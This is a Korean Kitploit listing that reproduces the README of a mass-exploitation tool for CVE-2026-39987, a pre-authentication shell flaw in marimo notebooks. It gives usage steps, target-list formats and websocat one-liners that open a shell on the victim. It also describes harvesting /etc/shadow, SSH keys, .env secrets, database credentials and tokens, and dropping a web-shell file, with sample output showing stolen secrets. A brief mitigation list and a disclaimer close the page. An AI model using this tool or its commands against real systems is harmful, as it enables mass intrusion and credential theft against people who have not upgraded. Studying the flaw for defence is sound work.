Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39987 — marimo는 반응형 Python 노트북입니다. 0.23.0 이전 버전에서 Marimo에는 사전 인증 RCE(Pre-Auth RCE) 취약점이 있습니다. | Kitploit
도구/GitHubGitHub/nxploited/cve-2026-39987
Privilege EscalationExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed TeamingRemote Access Tool
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo는 반응형 Python 노트북입니다. 0.23.0 이전 버전에서 Marimo에는 사전 인증 RCE(Pre-Auth RCE) 취약점이 있습니다.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39987

marimo는 반응형 Python 노트북입니다. 0.23.0 이전 버전의 Marimo에는 사전 인증(Pre-Auth) RCE 취약점이 있습니다.

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — 인증되지 않은 WebSocket 사전 인증 RCE

대량 스캐너 · 전체 정보 수집 · 스마트 탐지


Python CVE Severity Type Platform License


작성자: Nxploited  ·  텔레그램: @KNxploited


📢 최신 무료 제로데이 및 익스플로잇을 위한 텔레그램 채널에 가입하세요:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 개요

CVE-2026-39987은 오픈소스 반응형 Python 노트북 플랫폼인 Marimo에 영향을 미치는 치명적인 사전 인증 원격 코드 실행(Pre-Authentication RCE) 취약점입니다.

터미널 WebSocket 엔드포인트 /terminal/ws에는 인증 검증이 전혀 없어, 인증되지 않은 원격 공격자가 완전한 PTY 셸을 획득하고 실행 중인 프로세스의 권한(컨테이너 배포 환경에서는 대개 root)으로 임의의 시스템 명령을 실행할 수 있습니다.

/ws와 같은 다른 WebSocket 엔드포인트는 연결을 수락하기 전에 validate_auth()를 올바르게 호출하지만, /terminal/ws 엔드포인트는 실행 모드와 플랫폼 호환성만 확인하고 인증을 완전히 건너뜁니다.

✅ 패치 버전: marimo >= 0.23.0 ❌ 0.23.0 이전의 모든 버전이 취약합니다


🔍 취약점 세부 정보

🧩 근본 원인

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

/terminal/ws 핸들러는 다음 항목만 확인합니다:

  1. 서버가 올바른 모드로 실행 중인지 여부
  2. 플랫폼이 터미널 에뮬레이션을 지원하는지 여부

세션 토큰, 쿠키 또는 어떤 형태의 신원도 검증하지 않으므로, 노출된 모든 Marimo 인스턴스가 곧바로 셸이 됩니다.


✨ 기능

  • 🔥 대량 스캐너 — 구성 가능한 스레드 풀로 수천 개의 대상을 동시에 스캔
  • 🧠 스마트 환경 탐지 — 자동 탐지: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · Python 앱
  • 🐚 전체 PTY 셸 액세스 — 완전한 터미널 에뮬레이션을 갖춘 인증 없는 WebSocket 셸
  • 📓 노트북 정보 수집 — 모든 .py Marimo 노트북을 재귀적으로 탐색하고 읽기
  • 🔑 토큰 수집 — CLI 인자, 환경 변수 및 로그 파일에서 Marimo 토큰 추출
  • 🗄️ 데이터베이스 탐지 — MySQL · PostgreSQL · Redis · SQLite · DuckDB 자동 프로브
  • 🔐 자격 증명 추출 — .env 파일 · wp-config.php · SSH 개인 키 · /etc/shadow
  • 📂 웹 셸 검증(Nx Drop) — 웹 루트에 개념 증명 파일을 작성하고 HTTP로 검증
  • 📊 대상별 구조화된 출력 — 각 대상마다 정리된 자체 출력 디렉터리 생성
  • 🎨 리치 터미널 UI — 패널, 진행 상황 추적, 실시간 통계를 갖춘 전문적인 색상 구분 인터페이스

⚙️ 요구 사항

root@kitploit:~
Python 3.10 or higher

종속성 설치:

root@kitploit:~
pip install websockets rich requests urllib3

또는 요구 사항 파일 사용:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 사용 방법

1단계 — 대상 파일 준비

targets.txt라는 파일을 만들고 각 줄에 대상 하나씩 입력하세요. 이 도구는 다음 모든 형식을 지원합니다:

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

지원 형식: IP · IP:포트 · 도메인 · 도메인:포트 · http:// · https:// · ws:// · wss://


2단계 — 스캐너 실행

root@kitploit:~
python3 CVE-2026-39987.py

3단계 — 대화형 구성

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

스레드 범위: 1–300. 네트워크 상태에 따라 50–150 권장.


🖥️ 출력 미리보기

터미널 UI

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

실시간 진행 상황

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 출력 구조

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 액세스 수준


🌍 지원 환경


🔌 수동 연결

취약한 대상을 식별한 후 websocat을 사용하여 수동으로 연결하세요:

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

Authorization 헤더 값은 중요하지 않습니다. 이 엔드포인트는 토큰 유무와 관계없이 모두 허용합니다.


🛡️ 완화 조치

프로덕션 또는 외부 노출 환경에서 Marimo를 실행 중이라면:

  1. marimo >= 0.23.0으로 즉시 업그레이드하세요
  2. 인증된 리버스 프록시(Nginx + BasicAuth / OAuth2 프록시) 뒤에 Marimo를 배치하세요
  3. Marimo를 127.0.0.1에만 바인딩하세요 — 인터넷에 직접 노출하지 마세요
  4. 방화벽 규칙으로 /terminal/ws 액세스를 제한하세요
  5. 배포 환경에서 노출된 인스턴스를 감사하세요

⚠️ 면책 조항

이 도구는 교육 목적, 승인된 침투 테스트 및 정당한 보안 연구를 위해서만 엄격히 제공됩니다.

이 도구를 어떤 대상에 대해 실행하기 전에 시스템 소유자의 명시적 서면 허가를 반드시 받아야 합니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법이며, 컴퓨터 사기 및 남용법(CFAA), 컴퓨터 오용법, EU 사이버 범죄 지침 및 관할권의 동등한 법률을 포함하되 이에 국한되지 않는 관련 컴퓨터 범죄 법률에 따라 민사 및/또는 형사 기소될 수 있습니다.

저자는 이 도구의 오용으로 인해 발생하는 손해, 데이터 손실 또는 법적 결과에 대해 어떠한 책임도 지지 않습니다.

책임감 있게 사용하세요. 윤리적으로 해킹하세요.


👤 작성자

도구 다운로드
속성값
CVE IDCVE-2026-39987
영향을 받는 소프트웨어marimo < 0.23.0
취약점 유형인증되지 않은 WebSocket을 통한 사전 인증 RCE
영향을 받는 엔드포인트/terminal/ws
공격 경로네트워크
인증 필요❌ 없음
사용자 상호작용❌ 없음
심각도🔴 치명적
영향전체 PTY 셸 · 임의 명령 실행
수정 버전marimo 0.23.0
아이콘수준설명
✦✦✦ 🟢ROOTuid=0 — 전체 루트 액세스
✦✦ 🟡PRIVsudo · wheel · docker · disk · adm 그룹 멤버
✦ 🔵SHELL권한 없는 셸 액세스
✗ 🔴FAIL연결 거부 · 시간 초과 · HTTP 오류
환경자동 탐지특화 수집
🟣 Marimo✅노트북 · 토큰 · DuckDB · .marimo.toml · 마운트
🔵 cPanel / WHM✅userdomains · MySQL 비밀번호 · WHM 사용자 목록
🟠 Plesk✅psa.shadow · vhosts · MySQL 관리자 자격 증명
🌐 Apache✅VirtualHosts · sites-enabled · 액세스/오류 로그
🟢 Nginx✅서버 블록 · conf.d · 액세스/오류 로그
🐍 Python App✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · public 디렉터리
🐳 Docker✅바인드 마운트 · 컨테이너 로컬 스토리지 탐지
⚙️ 일반(Generic)✅알 수 없는 환경에 대한 전체 정보 수집 스위트
핸들Nxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
채널Nxploited ZeroDay Hub


"조용해질수록, 더 많은 것을 들을 수 있다."


⭐ 이 도구가 유용했다면 스타를 남기고 더 많은 제로데이를 위해 채널에 가입하세요! ⭐

🔗 t.me/KNxploited